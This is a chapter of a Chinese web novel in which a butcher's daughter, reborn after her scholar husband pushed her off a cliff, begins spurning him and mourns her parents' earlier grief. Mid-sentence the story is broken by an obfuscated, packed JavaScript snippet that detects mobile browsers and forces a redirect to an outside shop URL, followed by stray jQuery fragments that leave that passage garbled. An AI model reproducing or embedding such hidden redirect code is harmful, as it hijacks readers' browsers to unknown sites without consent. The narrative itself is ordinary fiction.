石头镇杀猪匠成大头家里,成禧拿着一刀子肉往厨房里走,徐芬瞧见了,奇怪道:“这不是你爹特意给昌哥儿留的吗?”
猪身上贴着脊骨的那条肉是最嫩的,文昌他奶奶牙口不好,最是喜欢吃这个地方的肉,又嫩又香,想要它的人多着呢!得亏自家是杀猪的,才能给留住。
成禧头也不回,把肉往案板上一放,切菜的刀在碗底上正过来倒过去刮几下,再去切肉,简直不要太丝滑!
留他大爷的!
梁文昌就是一个狼心狗肺,披着人面长着鬼心、猪狗不如的烂人!
成禧重生了,重生回她十七岁这一年,上一世,也就是在今年八月中秋,她被梁文昌迎娶回家,此后开始了五年的“贤妻”生涯。
五年后,梁文昌中了举人。
中举人之前,他早被县城一富户看上,要将家中独女嫁与他,前提是自己这个糟糠之妻要把位置给让出来,梁文昌需要更多的钱,便真能厚着脸皮同她商量。
她不愿意,后面他也没再说什么,自己还当这事儿就过去了,心想他多少还算有点良心,没有完全不把自己当个人。
她着实是天真了。
梁文昌中了举人那年,五月初七,她生辰那天,梁文昌说是要带她进山去玩,她开心极了,以为他良心发现,想要补偿自己。
可怎么样也想不到,自己在摘山边野花时,会被他从身后一掌给推下去。
苍天若真有眼,这样的人又如何逍遥于世!
苍天也许真的有眼,让她又重新活了一回,现在是六月初,距离梁文昌娶她的日子,还有两个月。
这日子是成大头请人算出来的,再吉利不过的一个日子,也是他们一家都心心念念盼着的日子——她终于能嫁给秀山村几十年才出一个的秀才了。
说不定以后再往上考,还能成为举人老爷呢!
这让往祖上数三代都是地里刨食的成家如何不激动!
成禧决定,那个日子当然要嫁,她爹好不容易请人算出来的,不嫁,不就浪费了!
可要嫁梁文昌?哼,除非那日是他的死期。
徐芬觉得自己这个闺女不对劲,她跟到厨房,见这刀子里脊肉已经被切成小片,她拧眉,“我说你这孩子耳朵聋了,等会儿昌哥儿就过来拿肉了,你要真想吃,等下回,让你爹专门留给你。”
“他来就来,来了我也不给他,反正他又没给钱。”
“你这孩子咋啦?”
往常知道文昌要来,不就数她最高兴?今儿怎么跟吃了枪药似的!
“娘,我没事,待会儿梁文昌来了,你就说我发热在屋里躺着,这肉他要是不提,你就当什么都不知道,他要是提了,你就说我要吃给做了。”
这话说完,任凭徐芬怎么样问,成禧也不再开口。
徐芬还要再问,外面有人敲门,那声音不疾不徐,显然来的人十分有礼,就他们家知道的,也就只有梁文昌一个人这样了。
他是读书人,秀才公,跟一般大老粗自然不一样。
成禧看她娘一眼,意味不言自明,随后放下手中活计,回了房间。
徐芬眉头紧皱地打开大门,梁文昌乍一看见她这样子,恰到好处的笑容微不可查地僵了一瞬,他嗓音朗润地开口:“徐大娘有什么烦心事,可说与文昌一听。”
见他笑得勉强,徐芬才意识到自己挂脸了,她连忙扯起嘴角,为难道:“今日留给昌哥儿的里脊肉,被一个老熟客软磨硬泡地,给买走了,我正在想着昌哥儿你来了,要如何同你交待。”
肉没了?那他不是白跑一趟。
“这也值当大娘生气?不过一刀子肉罢了,今日没有,后日难不成还没有?”
梁文昌嘴角噙着一抹笑,配着周身温和的气质,一副善解人意的样子,反过来“安慰”徐芬,这让徐芬觉得不好意思,心里对他愈发满意。
人走了才反应过来——良哥儿好像忘记提禧儿了。
她瞧着禧儿对良哥儿有点生气,良哥儿要是再不问问,恐怕禧儿会更生气。
果然,后日留给昌哥儿的那条里脊肉,又被禧儿拿去吃了。
再次面对徐芬的不好意思,梁文昌脸上的笑绷不住了,他嘴上说着不在意,转过头不耐烦就浮上脸来,从他家里走到这里要一刻钟,他回去还要再走一刻钟。
第二趟又白来了!
梁文昌很是恼火——成家还是不够重视他,他家想要的肉,真有心又怎么被旁人买走?
一路回了家,齐老太见他又是两手空空,嘶哑的嗓音响彻整个院子,“怎么这回又没有?他成家当我们是什么?”
“还能是什么?打秋风的厚脸皮呗!”梁壮实敲着烟杆子,一张口又黄又黑的牙口暴露在空气中,他扯着嗓子喊道:“成大头是胆子肥了,连着耍老子两次,昌哥儿你这几日莫要再过去,非让他成家给咱们送来不可!惯的他了!敢耍老子!”
赵小芳在厨房里把碗摔得咣当作响,听到又没有带回来肉,翻个白眼,从里面出来,“你爹说得对,晾他们几日,看他们急不急!”
梁文昌看着这一家人,本就羞恼的心更是平添几分烦躁,总有一天,他会离这个地方、这些人都远远的。
*
“说吧,到底是什么情况?为啥不让文昌来拿肉了?”
成大头夹一筷子锅包肉,还真别说,吃着口感就是好,也不怪昌哥儿那孩子风雨无阻、隔一天过来一趟,就为了这一刀子肉。
“他又没给钱,为啥要给他肉?”
“这些年咱家里多少头猪脊骨上的肉都让他家拿了?他倒好,嘴上说一套,实际上你看他给咱家做过什么了?”
成禧看着她爹娘,忍不住回想起上一世两人的惨状:她被推下悬崖后,过了两日,才被那人找到,他背着她的尸身找到二老,二老见她惨状,她娘当场晕了过去,后面醒过来,精神已经不大好了,她爹一下子也老了好些,猪肉再卖不得了,后面开始酗酒,醉后就说一定是因为他杀了太多猪,老天给他的惩罚。
没人怀疑梁文昌。
因为梁文昌对他们说的是——那日自己非要去山里玩,他拦不住。
梁文昌真的会演戏,不然也不能从村里一直到她嫁到他家,直至自己死的那天,才真正看清这个人“君子”外表下的心,竟是如此的丑陋可怖!
他当着自己爹娘的面哭得涕泗横流,甚至反过来还要她爹从嘴里说出“不怪他”,然而,转眼他就跟那富户家的小姐好上了。
她尸骨未寒,为了名声,也为了安抚那家人,他私下里卖力讨好那小姐,如此,两人虽未成婚,却也引得那小姐对他死心塌地。
原来中了举人后,他需要花更多钱打点关系,所以为了讨好富户,她便可以消失。
最后的结果呢?梁文昌借助富户的帮助,打点好关系,被分到一个还不错的地方,做了知县。
然后,然后那小姐最终也没能被迎娶,他甚至
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249217|151542||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
反过来借助自己知县的身份,威胁那富户一家,若是把此事说出去,定然不会让他们好过。
自古有云:民不与官斗。
那富户最后只能作罢。
只可怜那家小姐,终日郁郁,此后连屋门也不再踏出一步。
不过自己也可怜,她可是被推下悬崖了呢。
而且,还是因为那小姐。
她是悲剧,她亦然。
她并不太同情那位小姐。
徐芬朝着成大头使眼色:看,我说的对吧,你闺女跟昌哥儿生气,就是因为昌哥儿不来找她说话。
成大头咳嗽两声,见闺女看他,他笑着把菜往她面前推推,“你就是气性大,也不想想昌哥儿到底是读书人,那里有闲心陪你说话。”
“再说,他要真是那样,我还不借钱给他让他买书了呢。”
“等以后你俩成亲了,还怕他不跟你说话?”
他嘴角带笑,故意打趣着,想逗自己开心,成禧瞧见他这样,再一想前世他那副颓废的样子,鼻子忍不住一酸,又恨自己的不争气——都是因为她,都是因为她先看上了梁文昌,所以才让他有机可乘,害了自己,也连累了爹娘小半辈子!
“我才不要嫁给梁文昌!”
成禧从喉咙里吼出这句话,把筷子往桌上一拍,捂着脸跑回自己屋里去了。
不过她怕自己哭出来,特意压着嗓子,这饱含愤怒的一句话也就大打折扣,在成大头徐芬夫妇听起来,更像是害羞了,才要躲到屋里头去。
两夫妻便对视一笑,徐芬从盘子里拨些菜到成禧盘子里,“‘女大不中留’了,你闺女现在就知道想着昌哥儿呢!”
“我把菜坐锅里,一会儿禧儿饿了还能再吃点。”
“你也是!闺女还没成亲呐,你以后少说点这话。”
“我这不是看她不高兴,想逗逗她……”
两人的声音透过门窗隐约传来,成禧没忍住,还是哭了,前世她太任性,搭上一家人,如今想来,其实一切都是有迹可循的:她家从在村里开始资助梁文昌以来,梁文昌可曾有做过任何回馈她家的事儿?
每次她看见他,他却总是故意躲着她,便是许久不见也不曾问过她一次。
几乎次次都是她主动没话找话,缠着他的。
想必,那时的他,心里一定又厌恶又享受吧。
厌恶她,又享受她的崇拜。
到了镇上也是如此,他们一家的房子都是花自家的钱给租的,还有雷打不动的每头猪上的里脊肉,他给了她家什么呢?
这中间,考上的秀才,还有模糊的一句承诺——待我日后做了官,我会对成禧好的——成了吊在拉磨的驴面前的一根萝卜,哄的她一家,每每高兴的找不着北,于是钱也好,肉也好,都心甘情愿地双手奉上。
到底是怎么个好法儿,他没说,她一家人也没认真往下问,想着,无非就是娶她当官太太呗。
毕竟,她的心思都放在他身上了,这是谁都能瞧见的。
是她猪油蒙了心,天真可笑而不自知。
成禧趴在被窝里痛哭一阵,不知道什么时候又睡了过去。
再次醒来,屋里已经暗了下来,外面传来爹娘低低的说话声,他们说的好像是自己爱吃鸡蛋羹,待会儿要蒸上一碗。
成禧抹干净眼角的泪水,跪在床上,无言地对着床尾跪了下去,她心里说的是——老天爷谢谢你,谢谢你让我重活一回,这回我一定争点气!